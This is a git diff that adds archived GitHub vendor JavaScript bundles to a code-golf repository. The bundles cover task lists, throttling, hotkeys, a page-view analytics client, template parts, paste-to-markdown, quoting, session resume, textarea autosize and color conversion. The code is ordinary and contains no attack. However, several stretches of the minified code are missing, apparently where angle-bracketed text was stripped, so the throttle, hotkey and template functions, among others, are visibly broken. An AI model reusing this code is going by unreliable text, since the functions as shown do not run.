f=i.closest(".task-list-item"),C=Array.from(s.children).filter(B=>B.tagName==="LI"),F=f?C.indexOf(f):-1;return[O(s),F]}o(k,"position");function b(i){const s=i.parentElement;return s?s.closest(".contains-task-list"):null}o(b,"taskList");function E(i){return b(i)===g(i)}o(E,"isRootTaskList");function g(i){const s=b(i);return s?g(s)||s:null}o(g,"rootTaskList");function L(i){const s=i.querySelectorAll(".contains-task-list > .task-list-item");for(const f of s)E(f)&&m(f);R(i)}o(L,"syncState");function R(i){for(const s of i.querySelectorAll(".task-list-item"))s.classList.toggle("enabled",!i.disabled);for(const s of i.querySelectorAll(".task-list-item-checkbox"))s instanceof HTMLInputElement&&(s.disabled=i.disabled)}o(R,"syncDisabled");function O(i){const s=i.closest("task-lists");if(!s)throw new Error("parent not found");return Array.from(s.querySelectorAll("ol, ul")).indexOf(i)}o(O,"listIndex");const I=new WeakMap;function T(i){const s=i.closest("task-lists");if(!s)throw new Error("parent not found");I.set(s,Array.from(s.querySelectorAll("ol, ul")))}o(T,"onSortStart");function q({src:i,dst:s}){const f=i.list.closest("task-lists");if(!f)return;const C=I.get(f);!C||(I.delete(f),f.dispatchEvent(new CustomEvent("task-lists-move",{bubbles:!0,detail:{src:[C.indexOf(i.list),i.index],dst:[C.indexOf(s.list),s.index]}})))}o(q,"onSorted");function P(i){const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest(".task-list-item");if(!f)return;const C=f.closest("task-lists");C instanceof l&&C.sortable&&!C.disabled&&f.setAttribute("draggable","true")}o(P,"onHandleMouseOver");function H(i){if(S())return;const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest(".task-list-item");!f||f.setAttribute("draggable","false")}o(H,"onHandleMouseOut"),window.customElements.get("task-lists")||(window.TaskListsElement=l,window.customElements.define("task-lists",l))}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed-f8db72a328a9.js.map \ No newline at end of file diff --git a/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_index_js-node_.js b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_index_js-node_.js new file mode 100644 index 0000000..4e18cc6 --- /dev/null +++ b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_index_js-node_.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var D=Object.defineProperty;var c=(x,C)=>D(x,"name",{value:C,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"],{46263:(x,C,N)=>{N.d(C,{D:()=>b,P:()=>p});function p(_,m=0,{start:y=!0,middle:u=!0,once:w=!1}={}){let h=0,l,f=!1;function v(...k){if(f)return;const T=Date.now()-h;h=Date.now(),y?(y=!1,_.apply(this,k),w&&v.cancel()):(u&&T{h=Date.now(),_.apply(this,k),w&&v.cancel()},u?m-T:m))}return c(v,"fn"),v.cancel=()=>{clearTimeout(l),f=!0},v}c(p,"throttle");function b(_,m=0,{start:y=!1,middle:u=!1,once:w=!1}={}){return p(_,m,{start:y,middle:u,once:w})}c(b,"debounce")},11793:(x,C,N)=>{N.d(C,{EL:()=>u,N9:()=>W,Tz:()=>S});class p{constructor(o){this.children=[],this.parent=o}delete(o){const r=this.children.indexOf(o);return r===-1?!1:(this.children=this.children.slice(0,r).concat(this.children.slice(r+1)),this.children.length===0&&this.parent.delete(this),!0)}add(o){return this.children.push(o),this}}c(p,"Leaf");class b{constructor(o){this.parent=null,this.children={},this.parent=o||null}get(o){return this.children[o]}insert(o){let r=this;for(let g=0;gd.filter(n=>n!=="")).filter(d=>d.length>0)}c(y,"expandHotkeyToEdges");function u(a){const{ctrlKey:o,altKey:r,metaKey:g,key:d}=a,n=[],e=[o,r,g,h(a)];for(const[t,i]of e.entries())i&&n.push(w[t]);return w.includes(d)||n.push(d),n.join("+")}c(u,"hotkey");const w=["Control","Alt","Meta","Shift"];function h(a){const{shiftKey:o,code:r,key:g}=a;return o&&!(r.startsWith("Key")&&g.toUpperCase()===g)}c(h,"showShift");const l=new b,f=new WeakMap;let v=l,k=null,T=[];function P(){T=[],k=null,v=l}c(P,"resetTriePosition");function I(a){if(a.defaultPrevented||!(a.target instanceof Node))return;if(_(a.target)){const r=a.target;if(!r.id||!r.ownerDocument.querySelector(`[data-hotkey-scope="${r.id}"]`))return}k!=null&&window.clearTimeout(k),k=window.setTimeout(P,1500);const o=v.get(u(a));if(!o){P();return}if(T.push(u(a)),v=o,o instanceof p){const r=a.target;let g=!1,d;const n=_(r);for(let e=o.children.length-1;e>=0;e-=1){d=o.children[e];const t=d.getAttribute("data-hotkey-scope");if(!n&&!t||n&&r.id===t){g=!0;break}}d&&g&&(m(d,T),a.preventDefault()),P()}}c(I,"keyDownHandler");function W(a,o){Object.keys(l.children).length===0&&document.addEventListener("keydown",I);const g=y(o||a.getAttribute("data-hotkey")||"").map(d=>l.insert(d).add(a));f.set(a,g)}c(W,"install");function S(a){const o=f.get(a);if(o&&o.length)for(const r of o)r&&r.delete(a);Object.keys(l.children).length===0&&document.removeEventListener("keydown",I)}c(S,"uninstall")},86058:(x,C,N)=>{N.d(C,{R:()=>w});function p(){let h;try{h=window.top.document.referrer}catch{if(window.parent)try{h=window.parent.document.referrer}catch{}}return h===""&&(h=document.referrer),h}c(p,"getReferrer");function b(){try{return`${screen.width}x${screen.height}`}catch{return"unknown"}}c(b,"getScreenResolution");function _(){let h=0,l=0;try{return typeof window.innerWidth=="number"?(l=window.innerWidth,h=window.innerHeight):document.documentElement!=null&&document.documentElement.clientWidth!=null?(l=document.documentElement.clientWidth,h=document.documentElement.clientHeight):document.body!=null&&document.body.clientWidth!=null&&(l=document.body.clientWidth,h=document.body.clientHeight),`${l}x${h}`}catch{return"unknown"}}c(_,"getBrowserResolution");function m(){return navigator.languages?navigator.languages.join(","):navigator.language||""}c(m,"getBrowserLanguages");function y(){return{referrer:p(),user_agent:navigator.userAgent,screen_resolution:b(),browser_resolution:_(),browser_languages:m(),pixel_ratio:window.devicePixelRatio,timestamp:Date.now(),tz_seconds:new Date().getTimezoneOffset()*-60}}c(y,"getRequestContext");var u=N(82918);class w{constructor(l){this.options=l}get collectorUrl(){return this.options.collectorUrl}get clientId(){return this.options.clientId?this.options.clientId:(0,u.b)()}createEvent(l){return{page:location.href,title:document.title,context:{...this.options.baseContext,...l}}}sendPageView(l){const f=this.createEvent(l);this.send({page_views:[f]})}sendEvent(l,f){const v={...this.createEvent(f),type:l};this.send({events:[v]})}send({page_views:l,events:f}){const v={client_id:this.clientId,page_views:l,events:f,request_context:y()},k=JSON.stringify(v);try{if(navigator.sendBeacon){navigator.sendBeacon(this.collectorUrl,k);return}}catch{}fetch(this.collectorUrl,{method:"POST",cache:"no-cache",headers:{"Content-Type":"application/json"},body:k,keepalive:!1})}}c(w,"AnalyticsClient")},82918:(x,C,N)=>{N.d(C,{b:()=>y});let p;function b(){return`${Math.round(Math.random()*(Math.pow(2,31)-1))}.${Math.round(Date.now()/1e3)}`}c(b,"generateClientId");function _(u){const w=`GH1.1.${u}`,h=Date.now(),l=new Date(h+1*365*86400*1e3).toUTCString();let{domain:f}=document;f.endsWith(".github.com")&&(f="github.com"),document.cookie=`_octo=${w}; expires=${l}; path=/; domain=${f}; secure; samesite=lax`}c(_,"setClientIdCookie");function m(){let u;const h=document.cookie.match(/_octo=([^;]+)/g);if(!h)return;let l=[0,0];for(const f of h){const[,v]=f.split("="),[,k,...T]=v.split("."),P=k.split("-").map(Number);P>l&&(l=P,u=T.join("."))}return u}c(m,"getClientIdFromCookie");function y(){try{const u=m();if(u)return u;const w=b();return _(w),w}catch{return p||(p=b()),p}}c(y,"getOrCreateClientId")},88149:(x,C,N)=>{N.d(C,{n:()=>p});function p(b="ha"){let _;const m={},y=document.head.querySelectorAll(`meta[name^="${b}-"]`);for(const u of Array.from(y)){const{name:w,content:h}=u,l=w.replace(`${b}-`,"").replace(/-/g,"_");l==="url"?_=h:m[l]=h}if(!_)throw new Error(`AnalyticsClient ${b}-url meta tag not found`);return{collectorUrl:_,...Object.keys(m).length>0?{baseContext:m}:{}}}c(p,"getOptionsFromMeta")},38772:(x,C,N)=>{N.d(C,{dy:()=>o,sY:()=>r,Au:()=>n});var p=N(69567);const b=new WeakSet;function _(e){return b.has(e)}c(_,"isDirective");function m(e,t){return _(t)?(t(e),!0):!1}c(m,"processDirective");function y(e){return(...t)=>{const i=e(...t);return b.add(i),i}}c(y,"directive");const u=new WeakMap;class w{constructor(t,i){this.element=t,this.type=i,this.element.addEventListener(this.type,this),u.get(this.element).set(this.type,this)}set(t){typeof t=="function"?this.handleEvent=t.bind(this.element):typeof t=="object"&&typeof t.handleEvent=="function"?this.handleEvent=t.handleEvent.bind(t):(this.element.removeEventListener(this.type,this),u.get(this.element).delete(this.type))}static for(t){u.has(t.element)||u.set(t.element,new Map);const i=t.attributeName.slice(2),s=u.get(t.element);return s.has(i)?s.get(i):new w(t.element,i)}}c(w,"EventHandler");function h(e,t){return e instanceof p.sV&&e.attributeName.startsWith("on")?(w.for(e).set(t),e.element.removeAttributeNS(e.attributeNamespace,e.attributeName),!0):!1}c(h,"processEvent");function l(e,t){return t instanceof S&&e instanceof p.GZ?(t.renderInto(e),!0):!1}c(l,"processSubTemplate");function f(e,t){return t instanceof DocumentFragment&&e instanceof p.GZ?(t.childNodes.length&&e.replace(...t.childNodes),!0):!1}c(f,"processDocumentFragment");function v(e){return typeof e=="object"&&Symbol.iterator in e}c(v,"isIterable");function k(e,t){if(!v(t))return!1;if(e instanceof p.GZ){const i=[];for(const s of t)if(s instanceof S){const E=document.createDocumentFragment();s.renderInto(E),i.push(...E.childNodes)}else s instanceof DocumentFragment?i.push(...s.childNodes):i.push(String(s));return i.length&&e.replace(...i),!0}else return e.value=Array.from(t).join(" "),!0}c(k,"processIterable");function T(e,t){m(e,t)||(0,p.W_)(e,t)||h(e,t)||l(e,t)||f(e,t)||k(e,t)||(0,p.Al)(e,t)}c(T,"processPart");const P=new WeakMap,I=new WeakMap,W=new WeakMap;class S{constructor(t,i,s){this.strings=t,this.values=i,this.processor=s}get template(){if(P.has(this.strings))return P.get(this.strings);{const t=document.createElement("template"),i=this.strings.length-1;return t.innerHTML=this.strings.reduce((s,E,F)=>s+E+(Ft=>{g.has(t)||g.set(t,{i:e.length});const i=g.get(t);for(let s=0;s{st=>{if(!(t instanceof p.GZ))return;const i=document.createElement("template");i.innerHTML=e;const s=document.importNode(i.content,!0);t.replace(...s.childNodes)})},69567:(x,C,N)=>{N.d(C,{sV:()=>u,GZ:()=>v,R:()=>d,AQ:()=>k,W_:()=>P,Al:()=>T,XK:()=>W});function*p(n){let e="",t=0,i=!1;for(let s=0;stypeof i=="string"?i:i.value).join("");this.element.setAttributeNS(this.attr.namespaceURI,this.attr.name,t)}}}c(w,"AttributeValueSetter");var h=function(n,e,t){if(!e.has(n))throw new TypeError("attempted to set private field on non-instance");return e.set(n,t),t},l=function(n,e){if(!e.has(n))throw new TypeError("attempted to get private field on non-instance");return e.get(n)},f;class v{constructor(e,t){this.expression=t,f.set(this,void 0),h(this,f,[e]),e.textContent=""}get value(){return l(this,f).map(e=>e.textContent).join("")}set value(e){this.replace(e)}get previousSibling(){return l(this,f)[0].previousSibling}get nextSibling(){return l(this,f)[l(this,f).length-1].nextSibling}replace(...e){const t=e.map(i=>typeof i=="string"?new Text(i):i);t.length||t.push(new Text("")),l(this,f)[0].before(...t);for(const i of l(this,f))i.remove();h(this,f,t)}}c(v,"NodeTemplatePart"),f=new WeakMap;function k(n){return{createCallback(e,t,i){this.processCallback(e,t,i)},processCallback(e,t,i){var s;if(!(typeof i!="object"||!i)){for(const E of t)if(E.expression in i){const F=(s=i[E.expression])!==null&&s!==void 0?s:"";n(E,F)}}}}}c(k,"createProcessor");function T(n,e){n.value=String(e)}c(T,"processPropertyIdentity");function P(n,e){return typeof e=="boolean"&&n instanceof u&&typeof n.element[n.attributeName]=="boolean"?(n.booleanValue=e,!0):!1}c(P,"processBooleanAttribute");const I=k(T),W=k((n,e)=>{P(n,e)||T(n,e)});var S=function(n,e,t){if(!e.has(n))throw new TypeError("attempted to set private field on non-instance");return e.set(n,t),t},a=function(n,e){if(!e.has(n))throw new TypeError("attempted to get private field on non-instance");return e.get(n)},o,r;function*g(n){const e=n.ownerDocument.createTreeWalker(n,NodeFilter.SHOW_TEXT|NodeFilter.SHOW_ELEMENT,null,!1);let t;for(;t=e.nextNode();)if(t instanceof Element&&t.hasAttributes())for(let i=0;i{var he=Object.defineProperty;var i=(N,M)=>he(N,"name",{value:M,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-df2537"],{52769:(N,M,E)=>{"use strict";E.d(M,{Ld:()=>oe});function b(f,y){var k,C,O;const q=f.value.slice(0,(k=f.selectionStart)!==null&&k!==void 0?k:void 0),Y=f.value.slice((C=f.selectionEnd)!==null&&C!==void 0?C:void 0);let J=!0;f.contentEditable="true";try{J=document.execCommand("insertText",!1,y)}catch{J=!1}if(f.contentEditable="false",J&&!f.value.slice(0,(O=f.selectionStart)!==null&&O!==void 0?O:void 0).endsWith(y)&&(J=!1),!J){try{document.execCommand("ms-beginUndoUnit")}catch{}f.value=q+y+Y;try{document.execCommand("ms-endUndoUnit")}catch{}f.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!0}))}}i(b,"insertText");const _=new WeakMap;function h(f){const{currentTarget:y}=f,k=f.code==="KeyV"&&(f.ctrlKey||f.metaKey)&&f.shiftKey;(k||k&&f.altKey)&&_.set(y,!0)}i(h,"setSkipFormattingFlag");function v(f){const{currentTarget:y}=f;_.delete(y)}i(v,"unsetSkipFormattedFlag");function e(f){var y;return(y=_.get(f))!==null&&y!==void 0?y:!1}i(e,"shouldSkipFormatting");function o(f,...y){f.addEventListener("keydown",h);for(const k of y)k(f);f.addEventListener("paste",v)}i(o,"installAround");function t(f){f.removeEventListener("keydown",h),f.removeEventListener("paste",v)}i(t,"uninstall$5");function n(f){f.addEventListener("paste",l)}i(n,"install$4");function r(f){f.removeEventListener("paste",l)}i(r,"uninstall$4");function l(f){const y=f.clipboardData,{currentTarget:k}=f;if(e(k)||!y||!c(y))return;const C=f.currentTarget;if(!(C instanceof HTMLTextAreaElement))return;let O=y.getData("text/plain");const q=y.getData("text/html"),Y=q.replace(/\u00A0/g," ").replace(/\uC2A0/g," ");if(!q||(O=O.trim(),!O))return;const Z=new DOMParser().parseFromString(Y,"text/html"),Q=Z.createTreeWalker(Z.body,NodeFilter.SHOW_ELEMENT,fe=>fe.parentNode&&s(fe.parentNode)?NodeFilter.FILTER_REJECT:NodeFilter.FILTER_ACCEPT),se=u(O,Q);se!==O&&(f.stopPropagation(),f.preventDefault(),b(C,se))}i(l,"onPaste$4");function u(f,y){var k;let C=y.firstChild(),O=f,q=0,Y=0;const J=1e4;for(;C&&Y=0)if(s(C)){const se=m(C,Z);O=O.slice(0,Q)+se+O.slice(Q+Z.length),q=Q+se.length}else q=Q+Z.length;C=y.nextNode()}return Y===J?f:O}i(u,"convertToMarkdown");function a(f){return!f||(f==null?void 0:f.trim().length)===0}i(a,"isEmptyString");function s(f){var y;return((y=f.tagName)===null||y===void 0?void 0:y.toLowerCase())==="a"&&f.hasAttribute("href")}i(s,"isLink");function c(f){return f.types.includes("text/html")}i(c,"hasHTML");function m(f,y){const k=f.href||"";let C="";return g(f)?C=y:d(f)||p(k,y)?C=k:C=`[${y}](${k})`,C}i(m,"linkify$2");function d(f){return f.className.indexOf("commit-link")>=0||!!f.getAttribute("data-hovercard-type")&&f.getAttribute("data-hovercard-type")!=="user"}i(d,"isSpecialLink");function p(f,y){return f=f.slice(-1)==="/"?f.slice(0,-1):f,y=y.slice(-1)==="/"?y.slice(0,-1):y,f.toLowerCase()===y.toLowerCase()}i(p,"areEqualLinks");function g(f){var y;return((y=f.textContent)===null||y===void 0?void 0:y.slice(0,1))==="@"&&f.getAttribute("data-hovercard-type")==="user"}i(g,"isUserMention");function w(f){f.addEventListener("dragover",$),f.addEventListener("drop",I),f.addEventListener("paste",z)}i(w,"install$3");function x(f){f.removeEventListener("dragover",$),f.removeEventListener("drop",I),f.removeEventListener("paste",z)}i(x,"uninstall$3");function I(f){const y=f.dataTransfer;if(!y||ee(y)||!te(y))return;const k=ne(y);if(!k.some(T))return;f.stopPropagation(),f.preventDefault();const C=f.currentTarget;C instanceof HTMLTextAreaElement&&b(C,k.map(X).join(""))}i(I,"onDrop$1");function $(f){const y=f.dataTransfer;y&&(y.dropEffect="link")}i($,"onDragover$1");function z(f){const{currentTarget:y}=f;if(e(y))return;const k=f.clipboardData;if(!k||!te(k))return;const C=ne(k);if(!C.some(T))return;f.stopPropagation(),f.preventDefault();const O=f.currentTarget;O instanceof HTMLTextAreaElement&&b(O,C.map(X).join(""))}i(z,"onPaste$3");function X(f){return T(f)?` +![](${f}) +`:f}i(X,"linkify$1");function ee(f){return Array.from(f.types).indexOf("Files")>=0}i(ee,"hasFile$1");function te(f){return Array.from(f.types).indexOf("text/uri-list")>=0}i(te,"hasLink");function ne(f){return(f.getData("text/uri-list")||"").split(`\r +`)}i(ne,"extractLinks");const P=/\.(gif|png|jpe?g)$/i;function T(f){return P.test(f)}i(T,"isImageLink");function A(f){f.addEventListener("paste",S)}i(A,"install$2");function R(f){f.removeEventListener("paste",S)}i(R,"uninstall$2");function S(f){const{currentTarget:y}=f;if(e(y))return;const k=f.clipboardData;if(!k||!F(k))return;const C=f.currentTarget;if(!(C instanceof HTMLTextAreaElement))return;const O=k.getData("text/plain");if(!O||!H(O)||D(C))return;const q=C.value.substring(C.selectionStart,C.selectionEnd);!q.length||H(q.trim())||(f.stopPropagation(),f.preventDefault(),b(C,U(q,O)))}i(S,"onPaste$2");function F(f){return Array.from(f.types).includes("text/plain")}i(F,"hasPlainText");function D(f){const y=f.selectionStart||0;return y>1?f.value.substring(y-2,y)==="](":!1}i(D,"isWithinLink");function U(f,y){return`[${f}](${y})`}i(U,"linkify");function H(f){return/^https?:\/\//i.test(f)}i(H,"isURL");function B(f){f.addEventListener("dragover",ce),f.addEventListener("drop",G),f.addEventListener("paste",ie)}i(B,"install$1");function re(f){f.removeEventListener("dragover",ce),f.removeEventListener("drop",G),f.removeEventListener("paste",ie)}i(re,"uninstall$1");function G(f){const y=f.dataTransfer;if(!y||le(y))return;const k=L(y);if(!k)return;f.stopPropagation(),f.preventDefault();const C=f.currentTarget;C instanceof HTMLTextAreaElement&&b(C,k)}i(G,"onDrop");function ce(f){const y=f.dataTransfer;y&&(y.dropEffect="copy")}i(ce,"onDragover");function ie(f){const{currentTarget:y}=f;if(e(y)||!f.clipboardData)return;const k=L(f.clipboardData);if(!k)return;f.stopPropagation(),f.preventDefault();const C=f.currentTarget;C instanceof HTMLTextAreaElement&&b(C,k)}i(ie,"onPaste$1");function le(f){return Array.from(f.types).indexOf("Files")>=0}i(le,"hasFile");function ae(f){const y="\xA0";return(f.textContent||"").trim().replace(/\|/g,"\\|").replace(/\n/g," ")||y}i(ae,"columnText");function de(f){return Array.from(f.querySelectorAll("td, th")).map(ae)}i(de,"tableHeaders");function ue(f){const y=Array.from(f.querySelectorAll("tr")),k=y.shift();if(!k)return"";const C=de(k),O=C.map(()=>"--"),q=`${C.join(" | ")} +${O.join(" | ")} +`,Y=y.map(J=>Array.from(J.querySelectorAll("td")).map(ae).join(" | ")).join(` +`);return` +${q}${Y} + +`}i(ue,"tableMarkdown");function L(f){if(Array.from(f.types).indexOf("text/html")===-1)return;const y=f.getData("text/html");if(!//,"").replace(//,` +${q}`)}i(L,"generateText");function j(f){f.addEventListener("paste",K)}i(j,"install");function W(f){f.removeEventListener("paste",K)}i(W,"uninstall");function K(f){const{currentTarget:y}=f;if(e(y))return;const k=f.clipboardData;if(!k||!V(k))return;const C=f.currentTarget;if(!(C instanceof HTMLTextAreaElement))return;const O=k.getData("text/x-gfm");!O||(f.stopPropagation(),f.preventDefault(),b(C,O))}i(K,"onPaste");function V(f){return Array.from(f.types).indexOf("text/x-gfm")>=0}i(V,"hasMarkdown");function oe(f){return o(f,B,w,A,j,n),{unsubscribe:()=>{t(f),re(f),r(f),x(f),R(f),W(f)}}}i(oe,"subscribe")},55498:(N,M,E)=>{"use strict";E.d(M,{I:()=>a,p:()=>u});function b(s){const c=s.parentNode;if(c===null||!(c instanceof HTMLElement))throw new Error;let m=0;c instanceof HTMLOListElement&&c.start!==1&&(m=c.start-1);const d=c.children;for(let p=0;p/g,">")}i(t,"escapeAttribute");const n={INPUT(s){return s instanceof HTMLInputElement&&s.checked?"[x] ":"[ ] "},CODE(s){const c=s.textContent||"";return s.parentNode&&s.parentNode.nodeName==="PRE"?(s.textContent=`\`\`\` +${c.replace(/\n+$/,"")} +\`\`\` + +`,s):c.indexOf("`")>=0?`\`\` ${c} \`\``:`\`${c}\``},P(s){const c=document.createElement("p"),m=s.textContent||"";return c.textContent=m.replace(/<(\/?)(pre|strong|weak|em)>/g,"\\<$1$2\\>"),c},STRONG(s){return`**${s.textContent||""}**`},EM(s){return`_${s.textContent||""}_`},DEL(s){return`~${s.textContent||""}~`},BLOCKQUOTE(s){const c=(s.textContent||"").trim().replace(/^/gm,"> "),m=document.createElement("pre");return m.textContent=`${c} + +`,m},A(s){const c=s.textContent||"",m=s.getAttribute("href");return/^https?:/.test(c)&&c===m?c:m?`[${c}](${m})`:c},IMG(s){const c=s.getAttribute("alt")||"",m=s.getAttribute("src");if(!m)throw new Error;const d=s.hasAttribute("width")?` width="${t(s.getAttribute("width")||"")}"`:"",p=s.hasAttribute("height")?` height="${t(s.getAttribute("height")||"")}"`:"";return d||p?`${t(c)}`:`![${c}](${m})`},LI(s){const c=s.parentNode;if(!c)throw new Error;let m="";o(s)||(c.nodeName==="OL"?e>0&&!c.previousSibling?m=`${b(s)+e+1}\\. `:m=`${b(s)+1}. `:m="* ");const d=m.replace(/\S/g," "),p=(s.textContent||"").trim().replace(/^/gm,d),g=document.createElement("pre");return g.textContent=p.replace(d,m),g},OL(s){const c=document.createElement("li");return c.appendChild(document.createElement("br")),s.append(c),s},H1(s){const c=parseInt(s.nodeName.slice(1));return s.prepend(`${Array(c+1).join("#")} `),s},UL(s){return s}};n.UL=n.OL;for(let s=2;s<=6;++s)n[`H${s}`]=n.H1;function r(s){const c=document.createNodeIterator(s,NodeFilter.SHOW_ELEMENT,{acceptNode(p){return p.nodeName in n&&!_(p)&&(h(p)||v(p))?NodeFilter.FILTER_ACCEPT:NodeFilter.FILTER_SKIP}}),m=[];let d=c.nextNode();for(;d;)d instanceof HTMLElement&&m.push(d),d=c.nextNode();m.reverse();for(const p of m)p.replaceWith(n[p.nodeName](p))}i(r,"insertMarkdownSyntax");function l(s,c){const m=s.startContainer;if(!m||!m.parentNode||!(m.parentNode instanceof HTMLElement))throw new Error("the range must start within an HTMLElement");const d=m.parentNode;let p=s.cloneContents();if(c){const x=p.querySelector(c);x&&(p=document.createDocumentFragment(),p.appendChild(x))}e=0;const g=d.closest("li");if(d.closest("pre")){const x=document.createElement("pre");x.appendChild(p),p=document.createDocumentFragment(),p.appendChild(x)}else if(g&&g.parentNode&&(g.parentNode.nodeName==="OL"&&(e=b(g)),!p.querySelector("li"))){const x=document.createElement("li");if(!g.parentNode)throw new Error;const I=document.createElement(g.parentNode.nodeName);x.appendChild(p),I.appendChild(x),p=document.createDocumentFragment(),p.appendChild(I)}return p}i(l,"extractFragment");class u{constructor(){this.selection=window.getSelection()}closest(c){const m=this.range.startContainer,d=m instanceof Element?m:m.parentElement;return d?d.closest(c):null}get active(){var c;return(((c=this.selection)===null||c===void 0?void 0:c.rangeCount)||0)>0}get range(){var c;return((c=this.selection)===null||c===void 0?void 0:c.rangeCount)?this.selection.getRangeAt(0):new Range}set range(c){var m,d;(m=this.selection)===null||m===void 0||m.removeAllRanges(),(d=this.selection)===null||d===void 0||d.addRange(c)}get selectionText(){var c;return((c=this.selection)===null||c===void 0?void 0:c.toString().trim())||""}get quotedText(){return`> ${this.selectionText.replace(/\n/g,` +> `)} + +`}select(c){this.selection&&(this.selection.removeAllRanges(),this.selection.selectAllChildren(c))}insert(c){c.value?c.value=`${c.value} + +${this.quotedText}`:c.value=this.quotedText,c.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!1})),c.focus(),c.selectionStart=c.value.length,c.scrollTop=c.scrollHeight}}i(u,"Quote");class a extends u{constructor(c="",m){super();this.scopeSelector=c,this.callback=m}get selectionText(){var c,m;if(!this.selection)return"";const d=l(this.range,(c=this.scopeSelector)!==null&&c!==void 0?c:"");(m=this.callback)===null||m===void 0||m.call(this,d),r(d);const p=document.body;if(!p)return"";const g=document.createElement("div");g.appendChild(d),g.style.cssText="position:absolute;left:-9999px;",p.appendChild(g);let w="";try{const x=document.createRange();x.selectNodeContents(g),this.selection.removeAllRanges(),this.selection.addRange(x),w=this.selection.toString(),this.selection.removeAllRanges(),x.detach()}finally{p.removeChild(g)}return w.trim()}}i(a,"MarkdownQuote")},407:(N,M,E)=>{"use strict";E.d(M,{Xm:()=>h,e6:()=>v,iO:()=>e});let b=null;function _(o){return!!o.id&&o.value!==o.defaultValue&&o.form!==b}i(_,"shouldResumeField");function h(o,t){var n,r;const l=(n=t==null?void 0:t.selector)!==null&&n!==void 0?n:".js-session-resumable",a=`${(r=t==null?void 0:t.keyPrefix)!==null&&r!==void 0?r:"session-resume:"}${o}`,s=[];for(const m of document.querySelectorAll(l))(m instanceof HTMLInputElement||m instanceof HTMLTextAreaElement)&&s.push(m);let c=s.filter(m=>_(m)).map(m=>[m.id,m.value]);if(c.length)try{const m=sessionStorage.getItem(a);if(m!==null){const p=JSON.parse(m).filter(function(g){return!c.some(w=>w[0]===g[0])});c=c.concat(p)}sessionStorage.setItem(a,JSON.stringify(c))}catch{}}i(h,"persistResumableFields");function v(o,t){var n;const l=`${(n=t==null?void 0:t.keyPrefix)!==null&&n!==void 0?n:"session-resume:"}${o}`;let u;try{u=sessionStorage.getItem(l)}catch{}if(!u)return;const a=[],s=[];for(const[c,m]of JSON.parse(u)){const d=new CustomEvent("session:resume",{bubbles:!0,cancelable:!0,detail:{targetId:c,targetValue:m}});if(document.dispatchEvent(d)){const p=document.getElementById(c);p&&(p instanceof HTMLInputElement||p instanceof HTMLTextAreaElement)?p.value===p.defaultValue&&(p.value=m,a.push(p)):s.push([c,m])}}if(s.length===0)try{sessionStorage.removeItem(l)}catch{}else sessionStorage.setItem(l,JSON.stringify(s));setTimeout(function(){for(const c of a)c.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!0}))},0)}i(v,"restoreResumableFields");function e(o){b=o.target,setTimeout(function(){o.defaultPrevented&&(b=null)},0)}i(e,"setForm")},54430:(N,M,E)=>{"use strict";E.d(M,{Z:()=>_});function b(h){var v=null,e=!1,o=void 0,t=void 0,n=void 0;function r(d){if(o!==d.clientX||t!==d.clientY){var p=h.style.height;n&&n!==p&&(e=!0,h.style.maxHeight="",h.removeEventListener("mousemove",r)),n=p}o=d.clientX,t=d.clientY}i(r,"onUserResize");var l=h.ownerDocument,u=l.documentElement;function a(){for(var d=0,p=h;p!==l.body&&p!==null;)d+=p.offsetTop||0,p=p.offsetParent;var g=d-l.defaultView.pageYOffset,w=u.clientHeight-(g+h.offsetHeight);return{top:g,bottom:w}}i(a,"overflowOffset");function s(){if(!e&&h.value!==v&&!(h.offsetWidth<=0&&h.offsetHeight<=0)){var d=a(),p=d.top,g=d.bottom;if(!(p<0||g<0)){var w=Number(getComputedStyle(h).height.replace(/px/,""))+g;h.style.maxHeight=w-100+"px";var x=h.parentElement;if(x instanceof HTMLElement){var I=x.style.height;x.style.height=getComputedStyle(x).height,h.style.height="auto",h.style.height=h.scrollHeight+"px",x.style.height=I,n=h.style.height}v=h.value}}}i(s,"sizeToFit");function c(){e=!1,h.style.height="",h.style.maxHeight=""}i(c,"onFormReset"),h.addEventListener("mousemove",r),h.addEventListener("input",s),h.addEventListener("change",s);var m=h.form;return m&&m.addEventListener("reset",c),h.value&&s(),{unsubscribe:i(function(){h.removeEventListener("mousemove",r),h.removeEventListener("input",s),h.removeEventListener("change",s),m&&m.removeEventListener("reset",c)},"unsubscribe")}}i(b,"autosize");const _=b},48168:(N,M,E)=>{const b=E(39092),_={};for(const e of Object.keys(b))_[b[e]]=e;const h={rgb:{channels:3,labels:"rgb"},hsl:{channels:3,labels:"hsl"},hsv:{channels:3,labels:"hsv"},hwb:{channels:3,labels:"hwb"},cmyk:{channels:4,labels:"cmyk"},xyz:{channels:3,labels:"xyz"},lab:{channels:3,labels:"lab"},lch:{channels:3,labels:"lch"},hex:{channels:1,labels:["hex"]},keyword:{channels:1,labels:["keyword"]},ansi16:{channels:1,labels:["ansi16"]},ansi256:{channels:1,labels:["ansi256"]},hcg:{channels:3,labels:["h","c","g"]},apple:{channels:3,labels:["r16","g16","b16"]},gray:{channels:1,labels:["gray"]}};N.exports=h;for(const e of Object.keys(h)){if(!("channels"in h[e]))throw new Error("missing channels property: "+e);if(!("labels"in h[e]))throw new Error("missing channel labels property: "+e);if(h[e].labels.length!==h[e].channels)throw new Error("channel and label counts mismatch: "+e);const{channels:o,labels:t}=h[e];delete h[e].channels,delete h[e].labels,Object.defineProperty(h[e],"channels",{value:o}),Object.defineProperty(h[e],"labels",{value:t})}h.rgb.hsl=function(e){const 